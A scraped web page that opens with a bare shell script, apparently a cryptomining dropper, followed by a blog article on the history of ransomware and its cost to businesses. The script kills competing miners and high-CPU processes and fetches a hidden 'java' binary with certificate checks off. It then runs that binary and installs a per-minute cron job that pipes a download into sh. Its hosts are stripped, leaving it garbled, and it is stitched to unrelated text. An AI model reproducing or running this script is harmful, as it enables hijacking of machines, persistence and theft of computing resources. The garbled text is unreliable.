ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
pkill -f ririg
rm -rf /var/tmp/ntpd
pkill -f /var/tmp/ntpd
rm -rf /var/tmp/ntp
pkill -f /var/tmp/ntp
rm -rf /var/tmp/qq
rm -rf /var/tmp/qq1
pkill -f /var/tmp/qq
rm -rf /tmp/qq
rm -rf /tmp/qq1
pkill -f /tmp/qq
pkill -f /var/tmp/aa
rm -rf /var/tmp/aa
rm -rf /var/tmp/gg
rm -rf /var/tmp/gg1
pkill -f gg1.conf
rm -rf /var/tmp/hh
rm -rf /var/tmp/hh1
pkill -f hh1.conf
pkill -f apaqi
rm -rf /var/tmp/apaqi
pkill -f dajiba
rm -rf /var/tmp/dajiba
pkill -f /var/tmp/look
rm -rf /var/tmp/look
pkill -f /var/tmp/nginx
rm -rf /var/tmp/nginx
rm -rf /var/tmp/dd
rm -rf /var/tmp/dd1
rm -rf /var/tmp/apple
pkill -f dd1.conf
pkill -f kkk1.conf
pkill -f ttt1.conf
pkill -f ooo1.conf
pkill -f ppp1.conf
pkill -f lll1.conf
pkill -f yyy1.conf
pkill -f 1111.conf
pkill -f 2221.conf
pkill -f dk1.conf
pkill -f kd1.conf
pkill -f mao1.conf
pkill -f YB1.conf
pkill -f 2Ri1.conf
pkill -f 3Gu1.conf
pkill -f crant
if [ -a "/tmp/java" ]
if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
if [ -x "$(command -v md5sum)" ]
sum=$(md5sum /tmp/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
echo "Java wrong"
rm -rf /tmp/java
pkill -f w.conf
sleep 4
echo "P OK"
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
if [ -d "/var/tmp" ]
if [ -d "/tmp/java" ]
DIR=$(mktemp -d)/tmp
mkdir $DIR
echo "T DIR $DIR"
WGET="wget -O"
if [ -s /usr/bin/curl ];
WGET="curl -o";
if [ -s /usr/bin/wget ];
WGET="wget -O";
if [ -x "$(command -v md5sum)" ]
if [ ! -f $DIR/java ]; then
echo "File not found!"
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
echo "Java wrong"
sizeBefore=$(du $DIR/java)
if [ -s /usr/bin/curl ];
WGET="curl -k -o ";
if [ -s /usr/bin/wget ];
WGET="wget --no-check-certificate -O ";
echo "" > $DIR/tmp.txt
rm -rf $DIR/java
echo "No md5sum"
download() {
if [ -x "$(command -v md5sum)" ]
sum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/pscf3 $DIR/java
echo "Java wrong"
echo "No md5sum"
download2() {
$WGET $DIR/java
if [ -x "$(command -v md5sum)" ]
sum=$(md5sum $DIR/java | awk '{ print $1 }')
echo $sum
case $sum in
71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)
echo "Java OK"
cp $DIR/java $DIR/pscf3
echo "Java wrong"
echo "No md5sum"
netstat -antp | grep '\|\|\|\|\|\|\|\|\|\|\|\|\|' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
if [ "$(netstat -ant|grep '\|\|\|\|\|\|\|\|\|\|\|\|\|'|grep 'ESTABLISHED'|grep -v grep)" ];
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
kill -9 $procid
echo "Running"
if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
chmod +x $DIR/java
$WGET $DIR/w.conf
nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
sleep 5
rm -rf $DIR/w.conf
echo "Running"
if crontab -l | grep -q ""
echo "Cron exists"
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
if [ -s /usr/bin/wget ];
LDR="wget -q -O -";
(crontab -l 2>/dev/null; echo "* * * * * $LDR | sh > /dev/null 2>&1")| crontab -
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/' | crontab -
crontab -l | sed '/' | crontab -
crontab -l | sed '/8220/d' | crontab -
crontab -l | sed '/' | crontab -
crontab -l | sed '/' | crontab -
crontab -l | sed '/' | crontab -
crontab -l | sed '/' | crontab -
crontab -l | sed '/' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -

Read the “IoT Attack Handbook – A Field Guide to Understanding IoT Attacks from the Mirai Botnet and its Modern Variants” to learn more.

Download Now

Attack Types & VectorsSecurity

The Origin of Ransomware and Its Impact on Businesses

October 4, 2018 — by Fabio Palozza5


In previous articles we’ve mentioned how Ransomware has wreaked havoc, invading systems and putting organizations’ reputation and stability at stake. In this article, we’ll start with the basics and describe what ransomware is and how it is used by cybercriminals to attack tens of thousands of systems by taking advantage of system-vulnerabilities.

[You might also like: Top Cryptomining Malware. Top Ransomware]

Ransomware is defined as a form of malicious software that is designed to restrict users from accessing their computers or files stored on computers till they pay a ransom to cybercriminals. Ransomware typically operates via the crypto virology mechanism, using symmetric as well as asymmetric encryption to prevent users from performing managed file transfer or accessing particular files or directories. Cybercriminals use ransomware to lock files from being used assuming that those files have extremely crucial information stored in them and the users are compelled to pay the ransom in order to regain access.

The History

It’s been said that Ransomware was introduced as an AIDS Trojan in 1989 when Harvard-educated biologist Joseph L. Popp sent 20,000 compromised diskettes named “AIDS Information – Introductory Diskettes” to attendees of the internal AIDS conference organized by the World Health Organization. The Trojan worked by encrypting the file names on the customers’ computer and hiding directories. The victims were asked to pay $189 to PC Cyborg Corp. at a mailbox in Panama.

From 2006 and on, cybercriminals have become more active and started using asymmetric RSA encryption. They launched the Archiveus Trojan that encrypted the files of the My Documents directory. Victims were promised access to the 30-digit password only if they decided to purchase from an online pharmacy.

After 2012, ransomware started spreading worldwide, infecting systems and transforming into more sophisticated forms to promote easier attack delivery as the years rolled by. In Q3, about 60,000 new ransomware was discovered, which doubled to over 200,000 in Q3 of 2012.

The first version of CryptoLocker appeared in September 2013 and the first copycat software called Locker was introduced in December of that year.

Ransomware has been creatively defined by the U.S. Department of Justice as a new model of cybercrime with a potential to cause impacts on a global scale. Stats indicate that the use of ransomware is on a steady rise and according to Veeam, businesses had to pay $11.7 on average in 2017 due to ransomware attacks. Alarmingly, the annual ransomware-induced costs, including the ransom and the damages caused by ransomware attacks, are most likely to shoot beyond $11.5 billion by 2019.

The Business Impacts can be worrisome

Ransomware can cause tremendous impacts that can disrupt business operations and lead to data loss. The impacts of ransomware attacks include:

  • Loss or destruction of crucial information
  • Business downtime
  • Productivity loss
  • Business disruption in the post-attack period
  • Damage of hostage systems, data, and files
  • Loss of reputation of the victimized company

You will be surprised to know that apart from the ransom, the cost of downtime due to restricted system access can bring major consequences. As a matter of fact, losses due to downtime may cost tens of thousands of dollars daily.

As ransomware continues to become more and more widespread, companies will need to revise their annual cybersecurity goals and focus on the appropriate implementation of ransomware resilience and recovery plans and commit adequate funds for cybersecurity resources in their IT budgets.

Read “Consumer Sentiments: Cybersecurity, Personal Data and The Impact on Customer Loyalty” to learn more.

Download Now